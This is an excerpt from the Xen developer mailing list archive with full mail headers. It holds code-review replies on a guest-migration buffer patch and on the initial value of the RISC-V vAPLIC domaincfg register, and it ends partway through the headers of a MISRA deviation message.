 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 39CAE82179;
 Mon, 13 Jul 2026 17:24:15 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=vZCRAzNqG4Uv3PCX6BtUDcx0os4F2gGe1xO2kWjOb4s=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=XS4JiRcGZI7r+o7b6zgbFMVGfE5c57w1CFJWXTSDTLpWHWSM06Pao78mLufnugGBbS0tq8rvS
 qu9cwyROy1+z6dmIHVTtpeoLbhR/bjMwaSlbMdBVtq9DoxPMrZPl3maLk/6Y3fGsjYmx710sA7w
 zPlYcsoS0Q9ch4hYaso/9GS1uRZ90bu2PYhor9rR7vhiWRaPGFSVxwNE+o7weylYwhmEJY+YY3S
 WEOJ3xvrsuWoTNzc9ZS8fuMbYC68TNW8JKA1CcCOa8wvzr3N9v8VVlEO71lpV3jOV7qGyA1+Fep
 lNaJlVzj5qDTs1Bvmq8azenIXMavdUt8SSs3ADx6kWVA==
X-Zone-Loop: 87fe7bd3cb829a34b8cbef349fc223cc18487910c167
x-campaign-type: default
x-transaction-id: 85532df0-dd08-4d09-b83d-4f66ce7095be
x-swg-uid: 01-df483e30-10ba-4091-bbec-589bb8e5d5c9
X-Mailer: Sweego
Message-ID:
 <1783956256.8631fc262581453bbf619ec5b2062170.19f5c143537000edb5@vates.tech>
x-swg-bid: 1783956256.8631fc262581453bbf619ec5b2062170.19f5c143537000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 13 Jul 2026 17:24:14 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v8 3/4] libs/guest: allocate various migration arrays
 just once
References: <20260711212128.505727-1-frediano.ziglio@citrix.com>
 <20260711212128.505727-4-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260711212128.505727-4-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.71c.6fcf65e5c3f8b9cd.19f5c1432e0.4994149425db08cd=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783956255457
X-purgate-ID: tlsNG-c201ff/1783956261-63B4F12E-9E6EF779/0/0
X-purgate-type: clean
X-purgate-size: 1724

---=Part.71c.6fcf65e5c3f8b9cd.19f5c1432e0.4994149425db08cd=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Sat, Jul 11, 2026 at 10:21:27PM +0100, Frediano Ziglio wrote:
> diff --git a/tools/libs/guest/xg_sr_save=2Ec b/tools/libs/guest/xg_sr_sa=
ve=2Ec
> index e7c22e6500=2E=2E34e41cf410 100644
> --- a/tools/libs/guest/xg_sr_save=2Ec
> +++ b/tools/libs/guest/xg_sr_save=2Ec
> @@ -115,24 +115,18 @@ static int write_batch(struct xc_sr_context *ctx)
>      assert(ctx->save=2Ebuffers);
> =20
>      /* Mfns of the batch pfns=2E */
> -    mfns =3D malloc(nr_pfns * sizeof(*mfns));
> +    mfns =3D ctx->save=2Ebuffers->mfns;

You could have done the same thing you did in the previous patch, and
use const pointer ;-)

>      /* Types of the batch pfns=2E */
> -    types =3D malloc(nr_pfns * sizeof(*types));
> +    types =3D ctx->save=2Ebuffers->types;
>      /* Errors from attempting to map the gfns=2E */
> -    errors =3D malloc(nr_pfns * sizeof(*errors));
> +    errors =3D ctx->save=2Ebuffers->errors;
>      /* Pointers to locally allocated pages=2E  Need freeing=2E */
> -    local_pages =3D calloc(nr_pfns, sizeof(*local_pages));
> +    local_pages =3D ctx->save=2Ebuffers->local_pages;
> +    memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);

This memset() looks unnecessary, the buffer is allocated with calloc()
so the page is already cleared=2E And write_batch() clear the array a
second time at the end=2E Did I miss something?

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.71c.6fcf65e5c3f8b9cd.19f5c1432e0.4994149425db08cd=---


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 15:45:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 15:45:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361752.1613856 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjIpz-0002N3-AS; Mon, 13 Jul 2026 15:44:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361752.1613856; Mon, 13 Jul 2026 15:44:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjIpz-0002Mw-7g; Mon, 13 Jul 2026 15:44:55 +0000
Received: by outflank-mailman (input) for mailman id 1361752;
 Mon, 13 Jul 2026 15:44:53 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjIpx-0002Mq-6d
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 15:44:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjIpw-00EEpJ-1C
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 17:44:52 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5507e5-bab6-0a2a0a5309dd-0a2a450cd1ac-28
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 17:44:51 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a5507f3-e897-0a2a450c0019-d155dd30ed96-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 17:44:51 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so2874335f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:44:51 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464a9879sm292433f8f.22.2026.07.13.08.44.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 08:44:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783957491; x=1784562291; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=gUZRsRrDGefVBItN7uo9IpSWFDna2veakK9aM223qQs=;
        b=aQ5xxfzqaCAgYLsbBSx0Qqw3DrngbivGi/hWbA4Zh8CBZm2S5Hs9cjQG8wsEtb6VQA
         CmWZlGMsRp1R2k42dQb32gzDUT4WMD3WhGrg/qpmijEySDobhw+dFvsN+LEmw9nfMIZx
         Ap8s2jO+SciR7iUXDo9YVrnZ4i3AInLfE9ixkXBob+UKawz9eWh5VoaZW87rbNv/sST2
         DW3R4eAfsxEDTF+N0AioF/UTquWRi5MeqDoBBnEYSjp4RmuiWGubRQgg+YHj4XY/f0ZA
         BrAgV6/Rtweij1XnanmpO+TFOPi8r2Is4a9MYTqBw+nTvFJJqxbj7TL/NX7i+8ed56S9
         k7CQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783957491; x=1784562291;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=gUZRsRrDGefVBItN7uo9IpSWFDna2veakK9aM223qQs=;
        b=lHhJJrZYqns9OmAuhH834P7YCmvk5YEtBnELOl6juDZF5nrWJxZetWMERNmHkF9zSX
         akQj87XliIxp5fe2LctevrO5yq1eipTazqPOochS3iCYl/vQ+mbt3O+RSFZlZURRjwxZ
         qVXgz7QSBtedkim+3Tnj6sG3nR6PMVfXRj7m6zBharUk73iz+i+hcZV2DePURFW+q8dh
         VQSrGATcqZOsxJdfmVpyfP5GYM/Vro7Mrde8Y7AJCvjCD4qcK15osJXXqhLbOJOIj6KJ
         qTyCPZ1X+EpV9r4lsyRGl50SdiHGH5dtfxRnpxeAYlDg8NDqlH3oTUu25ODXgSTrgf7V
         dH/w==
X-Forwarded-Encrypted: i=1; AHgh+RpMU0ZHtWGbbtaKFgmyJd9pTpmQBv/554qN53rUvuS05Vz53s26vv7CffiKpvAcS7myRQ1PQUtlhV8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwqE3/CyxSn44dWY+KI4x5H9HklF1lchz49Qobh3Sx3hSWOI/7g
	yLR3J7pEVIYp3HegJxBq6Pa8Jh0EOUKJrIJnr0lsthkVJvrzbswx5PVlert5PyvUJA==
X-Gm-Gg: AfdE7clLneqbQpQswK8cv6j21GFH4EtUAX2wSU4OjU8nH7mX1qvqtLZWgtNixl+XAn2
	CFTWJcJJQgOD1UjD+hpmzlNqMwnbI5U7lIE+zEdppchWdgtLg7OeWFEtPSgwTkVry8+PGsyzvhF
	1AoSyLUp750hHt8uXVEMR+1yTshe5Zhvu1S87szWCYm0mLtVGfpNAujw/ybY1E44BmQsh0m/FKJ
	gmZl3H5yDEwJS4NfGKMrd6z3bslM2ZtAhfwr0x/LBruruF39+G1HKxwwVaFiRs6bMpqaoSzk2fc
	38Z5A9WBWz56qexRxGFQyK23KC4MSzzj+r+vOu3gMvmxyAguLU6BlGv3G02L4N0Lydk3sGQ8B9d
	L43QER+loY8dZj2Hk8FJp/bWOh4e8SYfOkwyzWawehVn3vLJNnaxAzlAYj22J0Avh1XzrKWlBam
	jNLABEh99y6EgxhdqUgACbgECXcN+Q3U0N/NklC3e5fTkjl3PJ5SUJyHDcCQQoFXN6uebc95r51
	7C0PzCu8BN/6wc=
X-Received: by 2002:a5d:5846:0:b0:475:94e1:29d5 with SMTP id ffacd0b85a97d-47f2dce942amr10525788f8f.20.1783957491298;
        Mon, 13 Jul 2026 08:44:51 -0700 (PDT)
Message-ID: <65ddc5ef-4354-40c1-b864-382d7143ed3d@suse.com>
Date: Mon, 13 Jul 2026 17:44:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
 <6a4adfa7-ec9a-4cbd-a9e2-571293cbb1ed@suse.com>
 <69d18359-3fae-4618-b46a-ad52bcf1a027@gmail.com>
 <d38333f3-0dd0-43ad-ab3d-c6366ae8c74f@suse.com>
 <2d0877f5-2fc1-4f53-b662-c377788e02ca@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0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0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <2d0877f5-2fc1-4f53-b662-c377788e02ca@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783957491-573696B2-95062C4A/0/0
X-purgate-type: clean
X-purgate-size: 2669

On 13.07.2026 11:57, Oleksii Kurochko wrote:
> 
> 
> On 7/13/26 8:41 AM, Jan Beulich wrote:
>> On 10.07.2026 17:52, Oleksii Kurochko wrote:
>>> On 7/9/26 5:39 PM, Jan Beulich wrote:
>>>> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>>>>> At the current development stage, only domain vINTC init and deinit
>>>>> operations are required, so implement those first.
>>>>>
>>>>> Initialize vAPLIC's domaincfg to with the interrupt-enable bit set and
>>>>> MSI delivery mode selected as the current solution is exepcted to have
>>>>> always IMSIC, and initialize vintc->ops.
>>>>
>>>> How would domaincfg be initialized on real hardware?
>>>
>>> Xen will initialize that in aplic_init_hw_interrupts():
>>> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);
>>
>> I.e. it is very much something the OS should do.
>>
>>> I can see that maybe
>>>> firmware would have to set DM suitably (and you may mean to take firmware's
>>>> role here).
>>>
>>> I don't think that firmware will do that (and OpenSBI for example
>>> doesn't do that). If firmware can do that we for sure want to control in
>>> Xen what is written to ->domaincfg.
>>>
>>>> But isn't setting at least IE entirely the OSes responsibility?
>>>
>>> At least, Linux setups ->domaincfg once at the boot time:
>>>
>>> 	/* Setup APLIC domaincfg register */
>>> 	val = readl(priv->regs + APLIC_DOMAINCFG);
>>> 	val |= APLIC_DOMAINCFG_IE;
>>> 	if (msi_mode)
>>> 		val |= APLIC_DOMAINCFG_DM;
>>> 	writel(val, priv->regs + APLIC_DOMAINCFG);
>>> 	if (readl(priv->regs + APLIC_DOMAINCFG) != val)
>>> 		dev_warn(priv->dev, "unable to write 0x%x in domaincfg\n", val);
>>>
>>> And don't touch this register anymore, even for interrupt disablement it
>>> isn't used.
>>>
>>> So Xen can just does once:
>>> writel(APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM, &aplic.regs->domaincfg);
>>>
>>> and then just properly handle access of a guest to domaincfg.
>>
>> Xen can do this for itself, sure. But shouldn't domaincfg as seen by guests
>> start out 0 then?
> 
> Now I think I understand your point.
> 
> I agree that it should start from 0 (or from 0x80000000, since bits 
> 31:24 are read-only and fixed to 0x80). All other bits should be set or 
> cleared by the guest and written to vaplic->regs.domaincfg when the 
> guest accesses the vAPLIC domaincfg register.
> 
> In that case, domain_vaplic_init() should initialize ->domaincfg as:
>    vaplic->regs.domaincfg = APLIC_DOMAINCFG_RO;
> 
> instead of:
>    vaplic->regs.domaincfg = APLIC_DOMAINCFG_IE | APLIC_DOMAINCFG_DM |
>                           APLIC_DOMAINCFG_RO;

Yes.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:00:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:00:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361800.1613866 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjKwa-0001Ow-6G; Mon, 13 Jul 2026 17:59:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361800.1613866; Mon, 13 Jul 2026 17:59:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjKwa-0001Op-3Z; Mon, 13 Jul 2026 17:59:52 +0000
Received: by outflank-mailman (input) for mailman id 1361800;
 Mon, 13 Jul 2026 17:59:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wjKwY-0001Oh-On
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 17:59:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjKwY-007nwQ-4Y
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 19:59:50 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a552767-5cb7-0a2a0a5109dd-0a2a4507a94e-34
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 19:59:50 +0200
Received: from [52.101.69.93]
 (helo=AM0PR83CU005.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a552795-ac46-0a2a45070019-3465455d299f-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 19:59:50 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by GVXPR03MB10309.eurprd03.prod.outlook.com (2603:10a6:150:156::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Mon, 13 Jul
 2026 17:59:42 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0202.014; Mon, 13 Jul 2026
 17:59:42 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=nx+vPw44yxAYeAOlT+x55G5Go7dk2x/sdj3Ars37TX2/MIpMIHVM2BNSwhjoIjppI4p1YVGk4weaCSgzGzdoLN/6tF7HsXNn0AmD3+8k24Y4BBxuuPi/liGSWcJrKrQB84YtmmPRb/+kvNXcEUh9S6eiFtqk+auSVP3kGbtnYYxY0KAuGd7gVurAOylF/2XdYVM9mMm4t0RcIQG8fPXglD2zBOe2p3RIiDk+zFLO5b9dHGl/iOYzcbpJGcVPqZfso7Tsv4ZtdYn0kaCKHn6ewlCYJ9nfwjb2ni3cP0BaPJlbqZ37/KLAU3cNOU3PmiRcBcYsROhmO65TsGVr07br1w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=nZxrmIVWqlRldH4npMLmAsYDah1qCYroYtIEtOvWWzQ=;
 b=L2Ob6AOoeyM+Y/IvMZhc4R7NkCSYV0UfEdSAJTkmspdcsi+CzlsIGLrwvGYwaxCeE8pB11ciSmaW3ql3EhnEc1XzogQUhhyyZxrXfplSqvKfpRMGDxRQom4QuIeiSQJTi1Pr02nI4A9ZFhWwhlItZsUoMN/HZzYenqewv8rus3hgjdzAZ1mxqHx7/nfEyXaOj8qiISkB+sm4fQc5iMQ4HXcvU9Avo9UUrvpuprFVmLIlHl6AHoROhg1IbMroJDjElsFVcf6JwBYBeznz+tpR1bU2JyzPizHTkT2qTjnYbzI2NDdH0h8e7lXiWoLjbIkPpFRfb7o7dVP5FIEbcoD+jw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=nZxrmIVWqlRldH4npMLmAsYDah1qCYroYtIEtOvWWzQ=;
 b=DDRgPYIPxdrMyUjNedhtiAmNarhyRcWOdZI8ktEthMVySzZ8BnYAuOWFHwQb6CxxVLsTtMAcQ8IT119wRiAYJgB3IIr4Kc2ifJy3DvdL8SK9CgbMaZKhGuCNYn2zUUjxmrgqQYgFvz5Hzgh9RkwWPK61iBa8ISrUDCxj9muoyKP6/2m/qATxezYER2P5BZkWNLchzt8itgkF5VJNtrl35nl2s39ssJHvidCyw7PM4p9MCTMLO4Ju69ZF22YcahxXxO/xUOQv0BnONJpIYb8i7iwxy3Uj1lJprz+zIp2IhdAxpCdnq1DuufiwhGbNLsRSOK9uihxCC2fvDSM1povQTg==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Jan Beulich <jbeulich@suse.com>
CC: Nicola Vetrini <nicola.vetrini@bugseng.com>, Doug Goldstein
	<cardoe@cardoe.com>, Stefano Stabellini <sstabellini@kernel.org>, Andrew
 Cooper <andrew.cooper3@citrix.com>, Anthony PERARD
	<anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>, Julien
 Grall <julien@xen.org>, =?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?=
	<roger.pau@citrix.com>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v2 2/3] misra: deviate MISRA C Rule 5.5 for
 'request_irq()'
Thread-Topic: [PATCH v2 2/3] misra: deviate MISRA C Rule 5.5 for
 'request_irq()'
Thread-Index: AQHdEgdlLv7TI7G6yke6ZZX0wGJbm7ZrCSsAgAC1h4A=
Date: Mon, 13 Jul 2026 17:59:42 +0000
Message-ID: <a3f3d5dd-9e9f-43ad-80a6-3a2f8723cf21@epam.com>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
 <db38c988b728a52bd7a921201e44558e43c7ed2c.1783864426.git.dmytro_prokopchuk1@epam.com>
 <3fe4008c-3338-4830-b200-fe7d0f582303@suse.com>
In-Reply-To: <3fe4008c-3338-4830-b200-fe7d0f582303@suse.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|GVXPR03MB10309:EE_
x-ms-office365-filtering-correlation-id: 6bfdd29b-420c-46f5-2693-08dee1088412
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|23010399003|1800799024|366016|376014|42112799006|7416014|4143699003|11063799006|56012099006|18002099003|22082099003|38070700021;
x-microsoft-antispam-message-info:
 0A9KJu6qClLp1qxO+TQs8/Pz0u9DTfLH1Br4+/zQdQYIQD3XHzMk+oA+V7UZ1fM6SCyMrRpODkXPj8B9iNN2o5J90U/u1IW9g21TmYMMDhCw8IckVeLhG/W21TyQHvG1oCR2TrkAE7PYBzDKHxiOwdAbxS6bn7C//stvQB+EWMsbtsIkwyDJKevYffsMJTI4K3oXan/Kvj21YxTy+esdxhbPo/qOJ355/IoilqLfzyGIzXgyKGnx4G4ipQcNasWjv5YgrHs/q6oQm0vAArmmzPFuAIIRhFcKaWvQ7vziXGB1/DaSowxn+SSmVEGkLOI2VzFDfut/RJ0u/O+dw/3xK24s3STkj6rQ194Kl2wwBjslOzI7crxnbSEDiN/pKe1fj8m5OaCadRhzaX3g9BCNaATfNivmZ/2PTcAbS0iQZ7jh7Sr9cgtq1DxxSiqac7BhepNClqn+IMY1CqIbx6vyHhP4zpWDtlNyBTqJ2XgrXsMpGZ9xME6WJurUUC1ZLdh7DP0GH0GXKPlmewaZIlK/cD+1jsvicNDlAbwZEPcTLGqs4CHxwKo2SHKBUjRMIeqyepCQGejpdp+deq/HHJRh3Kq3QQhN0Vo/8wTjGo9qOqSVaANYK0cx3s4AlhJ47rljbGL0KuY9Mo2IYJRK5C705Ntu8OEOvRsB/xFlDiDv/6KH3RP14DUtA5X2APGwjoejBdZswV7g/n8I6ysu/ElQ0qkwxH4ozBIlQodIu7WLd9E=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(366016)(376014)(42112799006)(7416014)(4143699003)(11063799006)(56012099006)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?ZmxyRU1xY3F0cEg5ck5oYUJjZjMycTRvcFk0SzFmV0RpRGdZaHRzWnJlVWo0?=
 =?utf-8?B?MzR3bnR4QXRTRFZiYjVDdVBXOGVMNE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GdYNE9tS3NMSkdEMFZKRGdIWDBUT0JCMEsxeWEya0tldERRYWNvcTZq?=
 =?utf-8?B?YUhTYng1ZS9YdDFJK2h0WEJKWGtBWG5HU1FLYmkxQ1Jjd28wcDFFMEZicHBw?=
